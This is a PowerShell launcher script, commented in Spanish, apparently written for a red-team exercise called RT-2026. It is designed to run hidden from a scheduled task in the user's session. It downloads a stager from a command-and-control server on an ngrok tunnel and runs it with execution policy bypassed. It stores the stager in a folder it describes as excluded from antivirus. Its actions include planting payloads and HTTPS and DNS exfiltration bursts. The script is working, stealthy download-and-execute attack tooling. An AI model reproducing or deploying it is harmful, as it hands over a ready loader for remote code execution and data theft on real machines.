#Requires -Version 5.1 <# .SYNOPSIS Lanzador de las tareas programadas del ejercicio RT-2026. .DESCRIPTION Pensado para que lo invoque una TAREA PROGRAMADA en la sesion del usuario, sin que el usuario vea nada. Hace tres cosas y no imprime nada por pantalla: 1. Descarga el stager desde el centro de mando (con la cabecera que evita la pagina intermedia del tunel). 2. Lanza la accion pedida en un proceso hijo. 3. Deja el resultado en un log local, para poder auditar que paso en cada equipo. El log es la unica salida: en una tarea oculta no hay consola, asi que si no se escribe a fichero no hay forma de saber si se ejecuto. .PARAMETER Action Accion a ejecutar. Es lo unico que cambia entre las fases del ejercicio. .PARAMETER BaseUrl Raiz del centro de mando (sin barra final). .PARAMETER Execute Segunda llave, igual que en el resto del arnes. Sin ella, todo corre en simulacion. .EXAMPLE powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass ` -File "C:\ProgramData\rt-launch.ps1" -Action Vector1Plantar -Execute .NOTES IMPORTANTE: esta tarea debe ejecutarse EN LA SESION DEL USUARIO, no como SYSTEM. El ejercicio actua sobre el perfil del usuario (sus Documentos, su Escritorio, su HKCU). Como SYSTEM, el impacto cae en un perfil que nadie mira y el ejercicio no mide nada. #> [CmdletBinding()] param( [Parameter(Mandatory)] [ValidateSet('Vector1Plantar', 'Vector1Ciclo', 'ExfilHttpsBurst', 'ExfilDnsBurst', 'Vector2Sim', 'Vector2Revert', 'Retire', 'EjercicioCompleto')] [string]$Action, [string]$BaseUrl = 'https://enormous-purely-maggot.ngrok-free.app/rt', [switch]$Execute ) $ErrorActionPreference = 'Stop' # El stager se descarga DENTRO de ProgramData\RT, no en la raiz de ProgramData: # un usuario estandar puede crear carpetas ahi, pero no ficheros sueltos. Y esta ruta # ya esta incluida en las exclusiones de antivirus. $raizRT = Join-Path $env:ProgramData 'RT' New-Item -ItemType Directory -Path $raizRT -Force | Out-Null $stager = Join-Path $raizRT 'rt-bootstrap.ps1' # El log va en el perfil del usuario, NO en ProgramData: en un equipo compartido esa # carpeta la crea el primero que ejecuta y los demas solo tienen lectura, con lo que # el lanzador no podia ni registrar su inicio. Medido y corregido. $logDir = Join-Path $env:LOCALAPPDATA 'RT-launcher' $logPath = Join-Path $logDir ('launch-' + (Get-Date).ToString('yyyyMMdd') + '.log') New-Item -ItemType Directory -Path $logDir -Force -ErrorAction SilentlyContinue | Out-Null function Write-LaunchLog { param([Parameter(Mandatory)][string]$Message) $linea = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') + ' ' + $Message # Un problema al registrar NUNCA debe impedir ejecutar la accion. Add-Content -LiteralPath $logPath -Value $linea -Encoding UTF8 -ErrorAction SilentlyContinue } try { $elevado = [bool]([Security.Principal.WindowsPrincipal]::new( [Security.Principal.WindowsIdentity]::GetCurrent() ).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) Write-LaunchLog ("INICIO accion={0} usuario={1}\{2} equipo={3} elevado={4}" -f ` $Action, $env:USERDOMAIN, $env:USERNAME, $env:COMPUTERNAME, $elevado) $cabeceras = @{ 'ngrok-skip-browser-warning' = 'true' } Invoke-WebRequest -Uri ($BaseUrl.TrimEnd('/') + '/bootstrap.ps1') ` -Headers $cabeceras -OutFile $stager -UseBasicParsing Write-LaunchLog ("stager descargado: {0} bytes" -f (Get-Item -LiteralPath $stager).Length) $parametros = @( '-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-File', $stager, '-BaseUrl', $BaseUrl, '-Action', $Action ) if ($Execute) { $parametros += '-Execute' } # OJO: con ErrorActionPreference='Stop', CUALQUIER linea que el hijo escriba en # stderr (aunque sea un aviso) se convierte en error terminante y aborta el # lanzador. Medido: abortaba al plantar, con los canarios ya generados. # Por eso se baja a 'Continue' SOLO durante la llamada, y se guarda el codigo # de salida para registrarlo despues. $ErrorActionPreference = 'Continue' $salida = & powershell.exe @parametros 2>&1 $codigo = $LASTEXITCODE $ErrorActionPreference = 'Stop' if ($salida) { $salida | Add-Content -LiteralPath $logPath -Encoding UTF8 } Write-LaunchLog ("FIN exit={0}" -f $codigo) } catch { Write-LaunchLog ("ERROR " + $_.Exception.Message) exit 1 }